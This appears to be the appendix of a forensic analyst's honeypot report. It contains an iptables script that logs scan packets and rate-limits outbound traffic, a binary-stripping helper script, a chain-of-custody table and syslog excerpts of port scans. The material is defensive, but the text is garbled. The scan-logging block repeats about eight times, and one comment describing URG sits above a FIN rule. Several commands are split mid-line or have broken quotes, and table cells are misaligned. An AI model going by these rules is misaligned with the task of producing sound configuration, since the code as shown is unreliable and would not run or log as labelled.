# PSH is the only bit set, without the expected accompanying ACK
$IP -A scan_tcp -m state --state NEW -p tcp --tcp-flags ACK,PSH PSH -j LOG --log-prefix "PSH Scan: " --log-ip-options --log-tcp-options
# URG is the only bit set, without the expected accompanying ACK
$IP -A scan_tcp -m state --state NEW -p tcp --tcp-flags ACK,FIN FIN -j LOG --log-prefix "FIN Scan: " --log-ip-options --log-tcp-options
$IP -A scan_tcp -m state --state NEW -p tcp --tcp-flags ACK,FIN FIN -j LOG --log-prefix "FIN Scan: ">
# PSH is the only bit set, without the expected accompanying ACK
$IP -A scan_tcp -m state --state NEW -p tcp --tcp-flags ACK,PSH PSH -j LOG --log-prefix "PSH Scan: " --log-ip-options --log-tcp-options
# URG is the only bit set, without the expected accompanying ACK
$IP -A scan_tcp -m state --state NEW -p tcp --tcp-flags ACK,FIN FIN -j LOG --log-prefix "FIN Scan: " --log-ip-options --log-tcp-options
$IP -A scan_tcp -m state --state NEW -p tcp --tcp-flags ACK,FIN FIN -j LOG --log-prefix "FIN Scan: ">
# PSH is the only bit set, without the expected accompanying ACK
$IP -A scan_tcp -m state --state NEW -p tcp --tcp-flags ACK,PSH PSH -j LOG --log-prefix "PSH Scan: " --log-ip-options --log-tcp-options
# URG is the only bit set, without the expected accompanying ACK
$IP -A scan_tcp -m state --state NEW -p tcp --tcp-flags ACK,FIN FIN -j LOG --log-prefix "FIN Scan: " --log-ip-options --log-tcp-options
$IP -A scan_tcp -m state --state NEW -p tcp --tcp-flags ACK,FIN FIN -j LOG --log-prefix "FIN Scan: ">
# PSH is the only bit set, without the expected accompanying ACK
$IP -A scan_tcp -m state --state NEW -p tcp --tcp-flags ACK,PSH PSH -j LOG --log-prefix "PSH Scan: " --log-ip-options --log-tcp-options
# URG is the only bit set, without the expected accompanying ACK
$IP -A scan_tcp -m state --state NEW -p tcp --tcp-flags ACK,FIN FIN -j LOG --log-prefix "FIN Scan: " --log-ip-options --log-tcp-options
$IP -A scan_tcp -m state --state NEW -p tcp --tcp-flags ACK,FIN FIN -j LOG --log-prefix "FIN Scan: ">
# PSH is the only bit set, without the expected accompanying ACK
$IP -A scan_tcp -m state --state NEW -p tcp --tcp-flags ACK,PSH PSH -j LOG --log-prefix "PSH Scan: " --log-ip-options --log-tcp-options
# URG is the only bit set, without the expected accompanying ACK
$IP -A scan_tcp -m state --state NEW -p tcp --tcp-flags ACK,FIN FIN -j LOG --log-prefix "FIN Scan: " --log-ip-options --log-tcp-options
$IP -A scan_tcp -m state --state NEW -p tcp --tcp-flags ACK,FIN FIN -j LOG --log-prefix "FIN Scan: ">
# PSH is the only bit set, without the expected accompanying ACK
$IP -A scan_tcp -m state --state NEW -p tcp --tcp-flags ACK,PSH PSH -j LOG --log-prefix "PSH Scan: " --log-ip-options --log-tcp-options
# URG is the only bit set, without the expected accompanying ACK
$IP -A scan_tcp -m state --state NEW -p tcp --tcp-flags ACK,FIN FIN -j LOG --log-prefix "FIN Scan: " --log-ip-options --log-tcp-options
$IP -A scan_tcp -m state --state NEW -p tcp --tcp-flags ACK,FIN FIN -j LOG --log-prefix "FIN Scan: ">
# PSH is the only bit set, without the expected accompanying ACK
$IP -A scan_tcp -m state --state NEW -p tcp --tcp-flags ACK,PSH PSH -j LOG --log-prefix "PSH Scan: " --log-ip-options --log-tcp-options
# URG is the only bit set, without the expected accompanying ACK
$IP -A scan_tcp -m state --state NEW -p tcp --tcp-flags ACK,FIN FIN -j LOG --log-prefix "FIN Scan: " --log-ip-options --log-tcp-options
$IP -A scan_tcp -m state --state NEW -p tcp --tcp-flags ACK,FIN FIN -j LOG --log-prefix "FIN Scan: ">
# PSH is the only bit set, without the expected accompanying ACK
$IP -A scan_tcp -m state --state NEW -p tcp --tcp-flags ACK,PSH PSH -j LOG --log-prefix "PSH Scan: " --log-ip-options --log-tcp-options
# URG is the only bit set, without the expected accompanying ACK
$IP -A scan_tcp -m state --state NEW -p tcp --tcp-flags ACK,FIN FIN -j LOG --log-prefix "FIN Scan: " --log-ip-options --log-tcp-options
$IP -A scan_tcp -m state --state NEW -p tcp --tcp-flags ACK,FIN FIN -j LOG --log-prefix "FIN Scan: ">
# PSH is the only bit set, without the expected accompanying ACK
$IP -A scan_tcp -m state --state NEW -p tcp --tcp-flags ACK,PSH PSH -j LOG --log-prefix "PSH Scan: " --log-ip-options --log-tcp-options
# URG is the only bit set, without the expected accompanying ACK
$IP -A scan_tcp -m state --state NEW -p tcp --tcp-flags ACK,FIN FIN -j LOG --log-prefix "FIN Scan: " --log-ip-options --log-tcp-options
$IP -A scan_tcp -m state --state NEW -p tcp --tcp-flags ACK,FIN FIN -j LOG --log-prefix "FIN Scan: ">
# PSH is the only bit set, without the expected accompanying ACK
$IP -A scan_tcp -m state --state NEW -p tcp --tcp-flags ACK,PSH PSH -j LOG --log-prefix "PSH Scan: " --log-ip-options --log-tcp-options
# URG is the only bit set, without the expected accompanying ACK
$IP -A scan_tcp -m state --state NEW -p tcp --tcp-flags ACK,FIN FIN -j LOG --log-prefix "FIN Scan: " --log-ip-options --log-tcp-options
$IP -A scan_tcp -m state --state NEW -p tcp --tcp-flags ACK,FIN FIN -j LOG --log-prefix "FIN Scan: ">
## Output Limits
# Description: We need to place controls on the outgoing traffic so that attackers cannot
# use our honeypot to attack other machines on the Internet. Rather than restricting
# connections I felt it would be better to reduce the amount going out. So it
# should appear that my upload speed is slow. Plus since I am watching the
# network, I will have time to pull the ethernet cable.

Page: 77 of 132

echo
echo -n "$Setting Output Limits: "
$IP -N limit_conn
$IP -A FORWARD -i eth2 -m state --state NEW -j limit_conn
# 37% loss of TCP traffic for new connections
$IP -A limit_conn -p tcp -j LOG --log-prefix "TCP Conn: "
$IP -A limit_conn -p tcp -m limit --limit 20/minute --limit-burst 1 -s 192.168.10.5 -j LOG --log-prefix "Reducing TCP traffic: "

Page: 77 of 132
$IP -A limit_conn -p tcp -m limit --limit 20/minute --limit-burst 1 -s 192.168.10.5 -j DROP
$IP -A limit_conn -p tcp -s 192.168.10.5 -d ! 192.168.0.0/24 -j RETURN

# 37% loss of UDP traffic for new connections
$IP -A limit_conn -p udp -j LOG --log-prefix "UDP Conn:
$IP -A limit_conn -p udp -m limit --limit 20/minute --limit-burst 1 -s 192.168.10.5 -j LOG -
-log-prefix "Reducing UDP traffic: 
$IP -A limit_conn -p udp -m limit --limit 20/minute --limit-burst 1 -s 192.168.10.5 -j DROP
$IP -A limit_conn -p udp -s 192.168.10.5 -d ! 192.168.0.0/24 -j RETURN

# 50% loss of ICMP traffic for new connections
$IP -A limit_conn -p icmp -j LOG --log-prefix "ICMP Conn: 
$IP -A limit_conn -p icmp -m limit --limit 30/minute --limit-burst 1 -s 192.168.10.5 -j LOG -
-log-prefix "Reducing ICMP traffic: 
$IP -A limit_conn -p icmp -m limit --limit 30/minute --limit-burst 1 -s 192.168.10.5 -j
DROP
$IP -A limit_conn -p icmp -s 192.168.10.5 -d ! 192.168.0.0/24 -j RETURN

$IP -A limit_conn -j RETURN
success "$Setting Output Limits: 

ek

$IP -A INPUT  -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
$IP -A OUTPUT -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
success "$Setting Stateful Inspection: 

# Telnet access to/from the firewall
#
## Description: This was used for the initial testing of the firewall rules to allow for
## remote administration
## NOTE: These rules were not used in the final version of the firewall used on the
## Honeypot network. They have been added to help those who wish to use this firewall
## and test it out before deploying it.
ek
echo
echo -n "$Setting Telnet Rules: 

# Telnet Connections coming from this machine
#$IP -A OUTPUT -o eth0 -p tcp -s 136.180.69.1 --sport 1034:65535 --dport 23 -m state -
-state new -j ACCEPT
#$IP -A OUTPUT -o eth0 -p tcp -s 136.180.69.1 --sport 1024:65535 --dport 23 -j
ACCEPT
#$IP -A INPUT  -i eth0 -p tcp ! --syn --sport 23 -d 136.180.69.1 --dport 1024:65535 -j
ACCEPT
## Telnet Connections coming to this machine
#$IP -A INPUT -i eth0 -p tcp --sport 1024:65535 -d 136.180.69.1 --dport 23 -j ACCEPT
#$IP -A INPUT -i eth0 -p tcp --sport 1024:65535 -d 136.180.69.1 --dport 23 -j ACCEPT
#$IP -A OUTPUT -o eth0 -p tcp ! --syn -s 136.180.69.1 --sport 23 --dport 1024:65535 -j ACCEPT

# Telnet Connections coming from this machine
$IP -A OUTPUT -o eth0 -p tcp -s 192.168.0.151 --sport 1034:65535 --dport 23 -m state - -state new -j ACCEPT
$IP -A OUTPUT -o eth0 -p tcp -s 192.168.0.151 --sport 1024:65535 --dport 23 -j ACCEPT
$IP -A INPUT -i eth0 -p tcp ! --syn --sport 23 -d 192.168.0.151 --dport 1024:65535 -j ACCEPT

success "$"Setting Telnet Rules: "

## Host Forwarding
### Description: The below rules are needed to route the traffic from the Internet_Interface (eth0) to the DMZ_Interface (eth2)
# Enables TCP traffic to be NATted to the DMZ_Interface; This changes the destination IP address to that of the DMZ machine
# This also allows for returning packets to the remote client while having the proper IP addresses for the source IP (the firewalls IP address)
echo
echo -n "$"Setting Host Forwarding: "
$IP -t nat -A PREROUTING -i eth0 -p tcp -d 66.227.248.0/24 -j DNAT --to-destination 192.168.10.5
# This rule forwards the packet from the Internet_Interface to the DMZ_Interface
$IP -A FORWARD -i eth0 -o eth2 -p tcp -d 192.168.10.5 -m state --state NEW -j ACCEPT
# Enables UDP traffic to be NATted to the DMZ_Interface; This changes the destination IP address to that of the DMZ machine
# This also allows for returning packets to the remote client while having the proper IP addresses for the source IP (the firewalls IP address)
$IP -t nat -A PREROUTING -i eth0 -p udp -d 66.227.248.0/24 -j DNAT --to-destination 192.168.10.5
# This rule forwards the packet from the Internet_Interface to the DMZ_Interface
$IP -A FORWARD -i eth0 -o eth2 -p udp -d 192.168.10.5 -m state --state NEW -j ACCEPT
# Enables ICMP traffic to be NATted to the DMZ_Interface; This changes the
destination IP address to that of the DMZ machine
# This also allows for returning packets to the remote client while having the proper IP
addresses for the source IP (the firewalls IP address)
$IP -t nat -A PREROUTING -i eth0 -p icmp -d 66.227.248.0/24 -j DNAT --to-destination
192.168.10.5
# This rule forwards the packet from the Internet_Interface to the DMZ_Interface
$IP -A FORWARD -i eth0 -o eth2 -p icmp -d 192.168.10.5 -m state --state NEW -j
ACCEPT
# Forward established and related traffic from DMZ_Interface to the Ineternet_Interface
(and vice versa)
$IP -A FORWARD -i eth2 -o eth0 -m state --state NEW,ESTABLISHED,RELATED -j
ACCEPT
$IP -A FORWARD -i eth0 -o eth2 -m state --state ESTABLISHED,RELATED -j ACCEPT
success $"Setting Host Forwarding: "

######################################################################
## DMZ Traffic Forwarding
######################################################################
##
# Description: Forwards traffic back out to the Internet. It changes the source IP to that
# of the firewall.
echo
echo -n $"Setting DMZ Traffic Forwarding: "
$IP -t nat -A POSTROUTING -o eth0 -j SNAT --to-source 66.227.248.213
success $"Setting DMZ Traffic Forwarding: "
echo
echo
Appendix 2 – ldd_strip.sh

#!/bin/bash

######################################################################
##
## Script: ldd_strip
## Written By: Keven Murphy
##
## Description: Once given a directory, the script will run ldd on the file
## and send the output to a log file. Then it will run strip on the file to reduce
## the file size. The primary use for this script would be to ensure a bunch of
## binaries are static and stripped.
##
## Syntax: ./ldd_static {directory containing the binaries} {log file}
## Example: ./ldd_static /tmp/tools /tmp/tool_1dd_strip.log
##
########################################################################

LDD=/usr/bin/ldd
STRIP=/usr/bin/strip
TEE=/usr/bin/tee

for filelist in `ls $1`; do
echo "Checking LDD on file: $1/$filelist" | $TEE $2
$LDD $1/$filelist | $TEE -a $2
echo " Stripping out the file....." | $TEE -a $2
$STRIP $1/$filelist | $TEE -a $2
done
# Appendix 3 – Media Checkout

## Hard Drive

<table>
<thead>
<tr>
<th>Date</th>
<th>Time</th>
<th>Check In/Out</th>
<th>Whom</th>
<th>Reason</th>
<th>From Location</th>
<th>To Location</th>
</tr>
</thead>
<tbody>
<tr>
<td>08/17/02</td>
<td>22:17:00</td>
<td>In</td>
<td>Keven Murphy</td>
<td>Initial check in</td>
<td>Honeypot</td>
<td>Safe</td>
</tr>
<tr>
<td>08/18/02</td>
<td>10:13:00</td>
<td>Out</td>
<td>Keven Murphy</td>
<td>Creating a dd image of the drive</td>
<td>Safe</td>
<td>Analysis's Computer</td>
</tr>
<tr>
<td>08/18/02</td>
<td>14:00:00</td>
<td>In</td>
<td>Keven Murphy</td>
<td></td>
<td>Analysis's Computer</td>
<td>Safe</td>
</tr>
</tbody>
</table>

## CDR – Gzipped Honeypot DD Images

<table>
<thead>
<tr>
<th>Date</th>
<th>Time</th>
<th>Check In/Out</th>
<th>Whom</th>
<th>Reason</th>
<th>From Location</th>
<th>To Location</th>
</tr>
</thead>
<tbody>
<tr>
<td>08/18/02</td>
<td>17:05:00</td>
<td>In</td>
<td>Keven Murphy</td>
<td>Newly created: initial check in</td>
<td>Analysis's Computer</td>
<td>Safe</td>
</tr>
</tbody>
</table>

## DVD+R – Honeypot DD Images

<table>
<thead>
<tr>
<th>Date</th>
<th>Time</th>
<th>Check In/Out</th>
<th>Whom</th>
<th>Reason</th>
<th>From Location</th>
<th>To Location</th>
</tr>
</thead>
<tbody>
<tr>
<td>08/18/02</td>
<td>15:30:00</td>
<td>In</td>
<td>Keven Murphy</td>
<td>Newly created; initial check in</td>
<td>Analysis's Computer</td>
<td>Safe</td>
</tr>
<tr>
<td>08/19/02</td>
<td>09:00:00</td>
<td>Out</td>
<td>Keven Murphy</td>
<td>Start analysis; Poorman's “tripwire” analysis</td>
<td>Safe</td>
<td>Analysis's Computer</td>
</tr>
<tr>
<td></td>
<td>12:30:00</td>
<td>In</td>
<td>Keven Murphy</td>
<td></td>
<td>Analysis's Computer</td>
<td>Safe</td>
</tr>
<tr>
<td>08/20/02</td>
<td>19:32:00</td>
<td>Out</td>
<td>Keven Murphy</td>
<td>Strings of honeypot hde1 done</td>
<td>Safe</td>
<td>Analysis's Computer</td>
</tr>
<tr>
<td>22:52:00</td>
<td>In</td>
<td></td>
<td>Keven Murphy</td>
<td></td>
<td>Analysis's Computer</td>
<td>Safe</td>
</tr>
<tr>
<td>08/21/02</td>
<td>09:40:00</td>
<td>Out</td>
<td>Keven Murphy</td>
<td>Searched shell history and last login</td>
<td>Safe</td>
<td>Analysis's Computer</td>
</tr>
<tr>
<td>10:52:00</td>
<td>In</td>
<td></td>
<td>Keven Murphy</td>
<td></td>
<td>Analysis's Computer</td>
<td>Safe</td>
</tr>
<tr>
<td>Date</td>
<td>Time</td>
<td>Check In/Out</td>
<td>Whom</td>
<td>Reason</td>
<td>From Location</td>
<td>To Location</td>
</tr>
<tr>
<td>-----------</td>
<td>---------</td>
<td>--------------</td>
<td>----------------</td>
<td>---------------------</td>
<td>-----------------------</td>
<td>---------------------</td>
</tr>
<tr>
<td>08/21/02</td>
<td>13:16:00</td>
<td>Out</td>
<td>Keven Murphy</td>
<td>Recover Deleted files</td>
<td>Safe</td>
<td>Analysis's Computer</td>
</tr>
<tr>
<td></td>
<td>15:28:00</td>
<td>In</td>
<td>Keven Murphy</td>
<td></td>
<td>Analysis's Computer</td>
<td>Safe</td>
</tr>
<tr>
<td>08/22/02</td>
<td>13:08:00</td>
<td>Out</td>
<td>Keven Murphy</td>
<td>MACtime Analysis</td>
<td>Safe</td>
<td>Analysis's Computer</td>
</tr>
<tr>
<td></td>
<td>21:30:00</td>
<td>In</td>
<td>Keven Murphy</td>
<td></td>
<td>Analysis's Computer</td>
<td>Safe</td>
</tr>
<tr>
<td>08/24/02</td>
<td>15:54:00</td>
<td>Out</td>
<td>Keven Murphy</td>
<td>MACtime Analysis</td>
<td>Safe</td>
<td>Analysis's Computer</td>
</tr>
<tr>
<td></td>
<td>21:12:00</td>
<td>In</td>
<td>Keven Murphy</td>
<td></td>
<td>Analysis's Computer</td>
<td>Safe</td>
</tr>
<tr>
<td>08/26/02</td>
<td>18:48:00</td>
<td>Out</td>
<td>Keven Murphy</td>
<td>MACtime Analysis</td>
<td>Safe</td>
<td>Analysis's Computer</td>
</tr>
<tr>
<td></td>
<td>19:26:00</td>
<td>In</td>
<td>Keven Murphy</td>
<td></td>
<td>Analysis's Computer</td>
<td>Safe</td>
</tr>
<tr>
<td>08/27/02</td>
<td>08:43:00</td>
<td>Out</td>
<td>Keven Murphy</td>
<td>MACtime Analysis</td>
<td>Safe</td>
<td>Analysis's Computer</td>
</tr>
<tr>
<td></td>
<td>09:41:00</td>
<td>In</td>
<td>Keven Murphy</td>
<td></td>
<td>Analysis's Computer</td>
<td>Safe</td>
</tr>
<tr>
<td>08/27/02</td>
<td>15:21:00</td>
<td>Out</td>
<td>Keven Murphy</td>
<td>MACtime Analysis</td>
<td>Safe</td>
<td>Analysis's Computer</td>
</tr>
<tr>
<td></td>
<td>21:19:00</td>
<td>In</td>
<td>Keven Murphy</td>
<td></td>
<td>Analysis's Computer</td>
<td>Safe</td>
</tr>
<tr>
<td>08/28/02</td>
<td>08:52:00</td>
<td>Out</td>
<td>Keven Murphy</td>
<td>Analysis</td>
<td>Safe</td>
<td>Analysis's Computer</td>
</tr>
<tr>
<td></td>
<td>13:00:00</td>
<td>In</td>
<td>Keven Murphy</td>
<td></td>
<td>Analysis's Computer</td>
<td>Safe</td>
</tr>
<tr>
<td>08/28/02</td>
<td>19:53:00</td>
<td>Out</td>
<td>Keven Murphy</td>
<td>Analysis</td>
<td>Safe</td>
<td>Analysis's Computer</td>
</tr>
<tr>
<td></td>
<td>20:39:00</td>
<td>In</td>
<td>Keven Murphy</td>
<td></td>
<td>Analysis's Computer</td>
<td>Safe</td>
</tr>
<tr>
<td>08/29/02</td>
<td>08:38:00</td>
<td>Out</td>
<td>Keven Murphy</td>
<td>Analysis</td>
<td>Safe</td>
<td>Analysis's Computer</td>
</tr>
<tr>
<td>Date</td>
<td>Time</td>
<td>Check In/Out</td>
<td>Whom</td>
<td>Reason</td>
<td>From Location</td>
<td>To Location</td>
</tr>
<tr>
<td>---------</td>
<td>--------</td>
<td>--------------</td>
<td>------------</td>
<td>--------</td>
<td>---------------------</td>
<td>-------------------</td>
</tr>
<tr>
<td>08/29/02</td>
<td>12:01:00</td>
<td>In</td>
<td>Keven Murphy</td>
<td></td>
<td>Analysis's Computer</td>
<td>Safe</td>
</tr>
<tr>
<td>08/29/02</td>
<td>18:20:00</td>
<td>Out</td>
<td>Keven Murphy</td>
<td>Analysis</td>
<td>Safe</td>
<td>Analysis's Computer</td>
</tr>
<tr>
<td>08/29/02</td>
<td>21:35:00</td>
<td>In</td>
<td>Keven Murphy</td>
<td></td>
<td>Analysis's Computer</td>
<td>Safe</td>
</tr>
<tr>
<td>09/01/02</td>
<td>10:40:00</td>
<td>Out</td>
<td>Keven Murphy</td>
<td>Analysis</td>
<td>Safe</td>
<td>Analysis's Computer</td>
</tr>
<tr>
<td>09/01/02</td>
<td>11:24:00</td>
<td>In</td>
<td>Keven Murphy</td>
<td></td>
<td>Analysis's Computer</td>
<td>Safe</td>
</tr>
<tr>
<td>09/02/02</td>
<td>13:01:00</td>
<td>Out</td>
<td>Keven Murphy</td>
<td>Analysis</td>
<td>Safe</td>
<td>Analysis's Computer</td>
</tr>
<tr>
<td>09/02/02</td>
<td>15:13:00</td>
<td>In</td>
<td>Keven Murphy</td>
<td></td>
<td>Analysis's Computer</td>
<td>Safe</td>
</tr>
<tr>
<td>09/02/02</td>
<td>17:57:00</td>
<td>Out</td>
<td>Keven Murphy</td>
<td>Analysis</td>
<td>Safe</td>
<td>Analysis's Computer</td>
</tr>
<tr>
<td>09/03/02</td>
<td>21:55:00</td>
<td>In</td>
<td>Keven Murphy</td>
<td></td>
<td>Analysis's Computer</td>
<td>Safe</td>
</tr>
<tr>
<td>09/03/02</td>
<td>09:07:00</td>
<td>Out</td>
<td>Keven Murphy</td>
<td>Analysis</td>
<td>Safe</td>
<td>Analysis's Computer</td>
</tr>
<tr>
<td>09/04/02</td>
<td>11:35:00</td>
<td>In</td>
<td>Keven Murphy</td>
<td></td>
<td>Analysis's Computer</td>
<td>Safe</td>
</tr>
<tr>
<td>09/04/02</td>
<td>08:30:00</td>
<td>Out</td>
<td>Keven Murphy</td>
<td>Analysis</td>
<td>Safe</td>
<td>Analysis's Computer</td>
</tr>
<tr>
<td>09/04/02</td>
<td>11:38:00</td>
<td>In</td>
<td>Keven Murphy</td>
<td></td>
<td>Analysis's Computer</td>
<td>Safe</td>
</tr>
<tr>
<td>09/04/02</td>
<td>13:24:00</td>
<td>Out</td>
<td>Keven Murphy</td>
<td>Analysis</td>
<td>Safe</td>
<td>Analysis's Computer</td>
</tr>
<tr>
<td>09/04/02</td>
<td>19:34:00</td>
<td>In</td>
<td>Keven Murphy</td>
<td></td>
<td>Analysis's Computer</td>
<td>Safe</td>
</tr>
<tr>
<td>09/05/02</td>
<td>08:35:00</td>
<td>Out</td>
<td>Keven Murphy</td>
<td>Analysis</td>
<td>Safe</td>
<td>Analysis's Computer</td>
</tr>
<tr>
<td>10:00:00</td>
<td>In</td>
<td>Keven Murphy</td>
<td></td>
<td></td>
<td>Analysis's Computer</td>
<td>Safe</td>
</tr>
<tr>
<td>Date</td>
<td>Time</td>
<td>Check In/Out</td>
<td>Whom</td>
<td>Reason</td>
<td>From Location</td>
<td>To Location</td>
</tr>
<tr>
<td>--------</td>
<td>------------</td>
<td>--------------</td>
<td>--------------</td>
<td>----------</td>
<td>--------------------</td>
<td>-------------------</td>
</tr>
<tr>
<td>09/06/02</td>
<td>16:08:00</td>
<td>Out</td>
<td>Keven Murphy</td>
<td>Analysis</td>
<td>Safe</td>
<td>Analysis's Computer</td>
</tr>
<tr>
<td></td>
<td>17:47:00</td>
<td>In</td>
<td>Keven Murphy</td>
<td></td>
<td>Analysis's Computer</td>
<td>Safe</td>
</tr>
<tr>
<td>09/07/02</td>
<td>20:38:00</td>
<td>Out</td>
<td>Keven Murphy</td>
<td>Analysis</td>
<td>Safe</td>
<td>Analysis's Computer</td>
</tr>
<tr>
<td></td>
<td>23:01:00</td>
<td>In</td>
<td>Keven Murphy</td>
<td></td>
<td>Analysis's Computer</td>
<td>Safe</td>
</tr>
<tr>
<td>09/08/02</td>
<td>09:59:00</td>
<td>Out</td>
<td>Keven Murphy</td>
<td>Analysis</td>
<td>Safe</td>
<td>Analysis's Computer</td>
</tr>
<tr>
<td></td>
<td>13:53:00</td>
<td>In</td>
<td>Keven Murphy</td>
<td></td>
<td>Analysis's Computer</td>
<td>Safe</td>
</tr>
<tr>
<td>09/08/02</td>
<td>17:42:00</td>
<td>Out</td>
<td>Keven Murphy</td>
<td>Analysis</td>
<td>Safe</td>
<td>Analysis's Computer</td>
</tr>
<tr>
<td></td>
<td>18:51:00</td>
<td>In</td>
<td>Keven Murphy</td>
<td></td>
<td>Analysis's Computer</td>
<td>Safe</td>
</tr>
<tr>
<td>09/09/02</td>
<td>17:21:00</td>
<td>Out</td>
<td>Keven Murphy</td>
<td>Analysis</td>
<td>Safe</td>
<td>Analysis's Computer</td>
</tr>
<tr>
<td></td>
<td>19:53:00</td>
<td>In</td>
<td>Keven Murphy</td>
<td></td>
<td>Analysis's Computer</td>
<td>Safe</td>
</tr>
<tr>
<td>09/10/02</td>
<td>08:23:00</td>
<td>Out</td>
<td>Keven Murphy</td>
<td>Analysis</td>
<td>Safe</td>
<td>Analysis's Computer</td>
</tr>
<tr>
<td></td>
<td>10:57:00</td>
<td>In</td>
<td>Keven Murphy</td>
<td></td>
<td>Analysis's Computer</td>
<td>Safe</td>
</tr>
<tr>
<td>09/10/02</td>
<td>12:49:00</td>
<td>Out</td>
<td>Keven Murphy</td>
<td>Analysis</td>
<td>Safe</td>
<td>Analysis's Computer</td>
</tr>
<tr>
<td></td>
<td>21:05:00</td>
<td>In</td>
<td>Keven Murphy</td>
<td></td>
<td>Analysis's Computer</td>
<td>Safe</td>
</tr>
<tr>
<td>09/11/02</td>
<td>08:30:00</td>
<td>Out</td>
<td>Keven Murphy</td>
<td>Analysis</td>
<td>Safe</td>
<td>Analysis's Computer</td>
</tr>
<tr>
<td></td>
<td>16:59:00</td>
<td>In</td>
<td>Keven Murphy</td>
<td></td>
<td>Analysis's Computer</td>
<td>Safe</td>
</tr>
<tr>
<td>09/12/02</td>
<td>09:13:00</td>
<td>Out</td>
<td>Keven Murphy</td>
<td>Analysis</td>
<td>Safe</td>
<td>Analysis's Computer</td>
</tr>
<tr>
<td>Date</td>
<td>Time</td>
<td>Check In/Out</td>
<td>Whom</td>
<td>Reason</td>
<td>From Location</td>
<td>To Location</td>
</tr>
<tr>
<td>----------</td>
<td>--------</td>
<td>--------------</td>
<td>--------------</td>
<td>--------</td>
<td>---------------------</td>
<td>-------------------</td>
</tr>
<tr>
<td>16:08:00</td>
<td>In</td>
<td>Keven Murphy</td>
<td>Analysis's</td>
<td>Safe</td>
<td>Computer</td>
<td>Safe</td>
</tr>
<tr>
<td>09/13/02</td>
<td>12:56:00</td>
<td>Out</td>
<td>Keven Murphy</td>
<td>Analysis</td>
<td>Safe</td>
<td>Analysis's Computer</td>
</tr>
<tr>
<td>14:08:00</td>
<td>In</td>
<td>Keven Murphy</td>
<td>Analysis's</td>
<td>Safe</td>
<td>Computer</td>
<td>Safe</td>
</tr>
</tbody>
</table>
Appendix 4 – Syslog of the Honeypot and Firewall

Below are the syslogs for the honeypot, firewall, and the syslog server. The syslog has been cut for brevity purposes. Shown are the portscans, and the output from the altered shell prompt used on the honeypot. In order to show where the syslogs have been cut, a “-- cut --” has been used.

The Start of Portscan

Aug 17 21:28:01 192.168.10.1 kernel: SYN Scan/Starting Conn: IN=eth0 OUT=eth2 SRC=24.130.192.156 DST=192.168.10.5 LEN=48 TOS=0x00 PREC=0x00 TTL=113 ID=46263 DF PROTO=TCP SPT=4961 DPT=27374 WINDOW=64240 RES=0x00 SYN URGP=0 OPT (020405B401010402)

Aug 17 21:28:01 192.168.10.1 kernel: New Conn: IN=eth0 OUT=eth2 SRC=24.130.192.156 DST=192.168.10.5 LEN=48 TOS=0x00 PREC=0x00 TTL=113 ID=46263 DF PROTO=TCP SPT=4961 DPT=27374 WINDOW=64240 RES=0x00 SYN URGP=0 OPT (020405B401010402)

Aug 17 21:28:01 192.168.10.1 kernel: SYN Scan/Starting Conn: IN=eth0 OUT=eth2 SRC=24.130.192.156 DST=192.168.10.5 LEN=48 TOS=0x00 PREC=0x00 TTL=113 ID=46268 DF PROTO=TCP SPT=4963 DPT=12345 WINDOW=64240 RES=0x00 SYN URGP=0 OPT (020405B401010402)

Aug 17 21:28:01 192.168.10.1 kernel: New Conn: IN=eth0 OUT=eth2 SRC=24.130.192.156 DST=192.168.10.5 LEN=48 TOS=0x00 PREC=0x00 TTL=113 ID=46268 DF PROTO=TCP SPT=4963 DPT=12345 WINDOW=64240 RES=0x00 SYN URGP=0 OPT (020405B401010402)

--- cut ---

Aug 17 21:33:24 192.168.10.1 kernel: FIN Scan: IN=eth0 OUT=eth2 SRC=24.147.x.x DST=192.168.10.5 LEN=40 TOS=0x00 PREC=0x00 TTL=44 ID=56307 PROTO=TCP SPT=60660 DPT=513 WINDOW=2048 RES=0x00 FIN URGP=0

Aug 17 21:33:24 192.168.10.1 kernel: New Conn: IN=eth0 OUT=eth2 SRC=24.147.x.x DST=192.168.10.5 LEN=40 TOS=0x00 PREC=0x00 TTL=44 ID=56307 PROTO=TCP SPT=60660 DPT=513 WINDOW=2048 RES=0x00 FIN URGP=0

Aug 17 21:33:24 192.168.10.1 kernel: FIN Scan: IN=eth0 OUT=eth2 SRC=24.147.x.x DST=192.168.10.5 LEN=40 TOS=0x00 PREC=0x00 TTL=44 ID=53496 PROTO=TCP SPT=60660 DPT=615 WINDOW=2048 RES=0x00 FIN URGP=0

Aug 17 21:33:24 192.168.10.1 kernel: New Conn: IN=eth0 OUT=eth2 SRC=24.147.x.x DST=192.168.10.5 LEN=40 TOS=0x00 PREC=0x00 TTL=44 ID=53496 PROTO=TCP SPT=60660 DPT=615 WINDOW=2048 RES=0x00 FIN URGP=0

Aug 17 21:33:24 192.168.10.1 kernel: FIN Scan: IN=eth0 OUT=eth2 SRC=24.147.x.x DST=192.168.10.5 LEN=40 TOS=0x00 PREC=0x00 TTL=44 ID=64443 PROTO=TCP SPT=60660 DPT=1544 WINDOW=2048 RES=0x00 FIN URGP=0

Aug 17 21:33:24 192.168.10.1 kernel: New Conn: IN=eth0 OUT=eth2 SRC=24.147.x.x DST=192.168.10.5 LEN=40 TOS=0x00 PREC=0x00 TTL=44 ID=64443 PROTO=TCP
A Second Attacker: Working Together?

Aug 17 21:39:38 192.168.10.1 kernel: New Conn: IN=eth0 OUT=eth2 SRC=68.0.x.x DST=192.168.10.5 LEN=328 PREC=0x00 TTL=37 ID=61077 PROTO=UDP SPT=60660 DPT=1 LEN=308
GCFA 1.0  Keven Murphy

DST=192.168.10.5 LEN=84 TOS=0x00 PREC=0x00 TTL=46 ID=14781 PROTO=UDP
SPT=910 DPT=111 LEN=64

Aug 17 21:39:38 192.168.10.1 kernel: SYN Scan/Starting Conn: IN=eth0 OUT=eth2
SRC=68.0.x.x DST=192.168.10.5 LEN=64 TOS=0x00 PREC=0x00 TTL=46 ID=18194
DF PROTO=TCP SPT=900 DPT=927 WINDOW=16384 RES=0x00 SYN URGP=0 OPT
(020405B40104020103030000101080A592A72D500000000)

Aug 17 21:39:38 192.168.10.1 kernel: New Conn: IN=eth0 OUT=eth2 SRC=68.0.x.x
DST=192.168.10.5 LEN=64 TOS=0x00 PREC=0x00 TTL=46 ID=18194 DF
PROTO=TCP SPT=900 DPT=927 WINDOW=16384 RES=0x00 SYN URGP=0 OPT
(020405B40104020103030000101080A592A72D500000000)

Aug 17 21:39:38 192.168.10.1 kernel: SYN Scan/Starting Conn: IN=eth0 OUT=eth2 SRC=68.0.x.x
